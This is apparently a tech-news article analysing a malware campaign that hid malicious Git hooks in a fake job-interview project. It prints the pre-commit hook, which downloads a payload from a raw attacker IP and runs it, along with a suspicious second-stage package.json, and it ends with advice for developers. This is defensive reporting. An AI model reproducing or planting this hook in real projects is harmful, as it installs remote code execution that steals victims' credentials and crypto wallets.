Git Hook Malware Targets Devs Via Fake Take-Home Interview

A fake job interview project on Google Drive contained malicious Git hooks that download and execute crypto-stealing malware. The attack uses a cloned FastAPI repo with hidden scripts targeting macOS, Linux, and Windows.

3 min readJul 23, 2026

Git Hook Malware Targets Devs Via Fake Take-Home Interview

A developer discovered a malware campaign using fake take-home interview projects to compromise job seekers. The attacker posed as a recruiter on LinkedIn, offering a Python developer role at a Y Combinator startup with a salary of $10,000-$15,000 per month. The project was hosted on Google Drive as a zip archive containing a seemingly legitimate FastAPI backend with SQLAlchemy.

The Hidden Payload

Running tree -a revealed a .git/hooks directory packed with pre-configured Git hooks. The pre-commit hook contained this script:

#!/bin/sh
case &#34;$(uname -s)&#34; in
Darwin*) curl -sL &#39;http://45.61.164.38:5777/task/mac?id=402&#39; -L | sh &gt; /dev/null 2&gt;&amp;1 &amp; ;;
Linux*) wget -qO- &#39;http://45.61.164.38:5777/task/linux?id=402&#39; -L | sh &gt; /dev/null 2&gt;&amp;1 &amp; ;;
MINGW*|MSYS*|CYGWIN*) curl -sL http://45.61.164.38:5777/task/windows?id=402 -L | cmd &gt; /dev/null 2&gt;&amp;1 &amp; ;;
*)        curl -sL &#39;http://45.61.164.38:5777/task/mac?id=402&#39; -L | sh &gt; /dev/null 2&gt;&amp;1 &amp; ;;
esac

The script checks the OS and downloads a remote payload from a raw IP address. The Linux payload fetches a second-stage script named tokenlinux.npl, renames it to tokenlinux.sh, and executes it in the background via nohup.

Multi-Stage Infection Chain

Stage two installs Node.js if missing, then downloads parser.js and package.json from the same server. The package.json includes suspicious dependencies:

{
  &#34;name&#34;: &#34;tokendapp&#34;,
  &#34;version&#34;: &#34;1.0.0&#34;,
  &#34;dependencies&#34;: {
    &#34;axios&#34;: &#34;^1.12.2&#34;,
    &#34;basic-ftp&#34;: &#34;^5.0.5&#34;,
    &#34;child_process&#34;: &#34;^1.0.2&#34;,
    &#34;clipboardy&#34;: &#34;^4.0.0&#34;,
    &#34;crypto&#34;: &#34;^1.0.1&#34;,
    &#34;execp&#34;: &#34;^0.0.1&#34;,
    &#34;fs&#34;: &#34;^0.0.1-security&#34;,
    &#34;jsonwebtoken&#34;: &#34;^9.0.2&#34;,
    &#34;process&#34;: &#34;^0.11.10&#34;,
    &#34;ps-node&#34;: &#34;^0.1.6&#34;,
    &#34;request&#34;: &#34;^2.88.2&#34;
  },
  &#34;devDependencies&#34;: {
    &#34;hardhat&#34;: &#34;^2.20.2&#34;
  }
}

The inclusion of hardhat (an Ethereum development framework), clipboardy (clipboard access), and jsonwebtoken strongly suggests the malware targets cryptocurrency wallets. The id=402 parameter likely tracks victims and delivers tailored payloads.

Attack Vector Variations

Other victims reported receiving projects with a .vscode folder containing malicious launch commands that execute on opening the directory in VS Code—no Git command required. The attackers cloned a public FastAPI repo from GitHub (Bgogoi123/personal-finance-service) and added the hidden hooks.

Technical Analysis

The attacker's server at 45.61.164.38 runs OpenSSH 9.6p1 on Ubuntu, with no known CVEs at the time of scanning. The parser.js file was heavily obfuscated and refused analysis by Claude. Gemini was able to partially deobfuscate it, but the code remained opaque. The .npl extension matches known threat actor patterns.

What Developers Should Do

Always inspect hidden directories (tree -a) in project files from untrusted sources.
Review Git hooks before running any Git commands.
Be skeptical of unsolicited recruiter messages with high salaries and immediate take-home projects.
Run suspicious code in isolated environments (VMs or containers).

The assignment PDF explicitly included Git tasks to trigger the hooks. The attacker deleted the Google Drive folder after being discovered.

Editor's Take

I've seen plenty of supply-chain attacks, but this one is particularly insidious because it weaponizes the job interview process. The use of Git hooks is clever—most developers don't check them. I've been interviewing for years and never thought to run `tree -a` on a project. The attackers also showed decent OPSEC by using a unique ID per victim and keeping their server patched. What bothers me is how easy this is to replicate: clone any public repo, add malicious hooks, and send it out. The industry needs to standardize safe sandboxing for take-home assessments.

— DevDigest Editorial

Key Takeaways

•Inspect hidden directories (`.git`, `.vscode`) in any project from unknown sources before running commands.
•Check Git hooks (`.git/hooks/`) for suspicious scripts, especially `pre-commit` and `post-checkout`.
•Run take-home projects in isolated environments like Docker containers or virtual machines.

Why It Matters

This attack exploits the trust developers place in take-home projects during job applications. The multi-stage payload targets crypto wallets and uses legitimate-looking code to bypass initial scrutiny. Understanding this technique helps developers recognize similar threats and adopt safer inspection habits.

#cybersecurity#malware#supply-chain-attack#job-scam#git-hooks

Get the weekly digest

Every Sunday - top tech stories, industry breakthroughs, and developer tools delivered to your inbox.

No spam, unsubscribe anytime.

Git Hook Malware Targets Devs Via Fake Take-Home Interview

The Hidden Payload

Multi-Stage Infection Chain

Attack Vector Variations

Technical Analysis

What Developers Should Do

Editor's Take

Key Takeaways

Why It Matters

Get the weekly digest

You might also like

Git's --end-of-options: The Flag Package Managers Should Use

EU Court Rules VPNs Lawful, Rejects Copyright Liability

OpenAI and Hugging Face Detail Security Incident in Model Evaluation

2M+ Cars Hackable via Hidden KARR Alarm: Patch Now

Cactus Hybrid: Gemma 4 Model Knows When It's Wrong, Routes to Bigger LLM

Google Cloud Revenue Surges 82% as AI Adoption Drives $24.8B Quarter